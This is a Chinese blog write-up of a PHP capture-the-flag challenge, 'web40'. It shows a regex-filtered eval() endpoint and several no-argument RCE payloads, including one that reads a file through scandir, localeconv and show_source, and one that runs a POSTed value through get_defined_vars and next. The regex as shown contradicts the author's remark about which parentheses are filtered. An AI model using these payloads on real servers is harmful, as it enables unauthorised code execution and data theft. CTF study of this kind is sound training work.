首页 > 其他分享 >web40 无参数rce

web40 无参数rce

时间:2024-08-18 21:17:03浏览次数:7  
标签:__ web40 next 参数 数组 rce array

点击查看代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

有点坑的是这里过滤的括号是中文的不是英文的

上网查发现有好几种方法 算是脑洞大开了

array_pop()将数组的值提取出来
get_defined_vars() 是以数组的形式将所有变量展示出来
next()是取数组第二个参数

我们post传入的data=phpinfo() 刚好是第二个参数

所以成功执行
image

还有方法
show_source(next(array_reverse(scandir(pos(localeconv())))));

还有就是
通过传sessionid来执行
理论上感觉没啥问题 传ls参数也有回显 但是好像一旦包含了flag.php 就不行了 不过这也是一种思路
image

标签:__,web40,next,参数,数组,rce,array
From: https://www.cnblogs.com/wssw/p/18366115

相关文章

  • bash shell脚本接受多个参数
    !/bin/bashDefaultvaluesforalloptionsud_default="default_ud_value"a_default="default_a_value"b_default="default_b_value"c_default="default_c_value"d_default="default_d_value"e_default="defau......
  • lit parcel模板
    mkdirmyproject/src-pcdmyprojectpnpmilittypescripttsconfig.json:{"compilerOptions":{"target":"ES2020","experimentalDecorators":true,"useDefineForClassFields":......
  • Educational Codeforces Round 168 (Rated for Div. 2) D题
    文章目录题目来源题意思路code题目来源D.MaximizetheRoot题意给定一棵n个点的数,根节点为1,每个点都有权值aia_i......
  • Codeforces Round 966 (Div. 3) (A~F)
    文章目录写在前面A-PrimaryTask思路codeB.SeatinginaBus思路codeC-NumericStringTemplate思路codeD-RightLeftWrong思路codeE-PhotoshootforGorillas思路codeF-ColorRowsandColumns思路codeCodeforcesRound966(Div.3)写在前面赛时写的......
  • Unity 刚体 AddForce 的几种力类型
    今天在实现2D横版跳跃的时候,发现使用AddForce添加的力太突兀了,没有逐渐向上的过程,发现AddForce还有ForceModemode参数以下部分内容摘自BingCopilot总结Unity官网文档1.ForceMode.Force(默认值)描述:施加一个连续的力,考虑物体的质量效果:物体会逐渐加速,力的大小和方向......
  • 使用贝叶斯优化CDENCLUE聚类算法参数
    目录1.贝叶斯优化的基本原理原理和实现步骤:2.轮廓系数的原理公式:3.贝叶斯优化的实现流程(伪代码)1.贝叶斯优化的基本原理贝叶斯优化是一种基于概率模型的优化方法,主要用于优化计算代价高昂的黑盒函数。它结合了先验知识和观察到的数据来更新后验知识,并用一个易......
  • 【WOA-CNN-LSTM】基于鲸鱼算法优化深度学习预测模型的超参数研究(Matlab代码实现)
     ......
  • 掌握$.ajax()的常用参数,让代码更高效
    $.ajax()的常用参数type:类型:String请求方式(“POST“或“GET“),默认为“GET“。(没有methods参数)url:类型:String(默认:当前页面地址)data:前端发送到后台的数据,可以是json对象,也可以是json形式的字符串。    注意:后台接受的参数形式,不支持的数据类型,发送不会......
  • Codeforces 169 Div2
    AClosestPoint由题意可得三个及以上的点无法插入新的点,只有两个点时可以插入但当两个点间隔为1时同样无法插入先判断,后输出就行#include<bits/stdc++.h>usingnamespacestd;constintN=50;intt,n;inta[N];intmain(){ cin>>t; while(t--){ cin>>n; for(i......
  • Golang使用Option设计模式优雅处理可选参数
    go语言不像其他语言函数的参数可以设置默认值以下是参考第三方库的写法packagemainimport"fmt"typeUserstruct{namestringageintidint}//Option代表可选参数typeOptionfunc(foo*User)//WithName为name字段提供一个设置器funcWithName(name......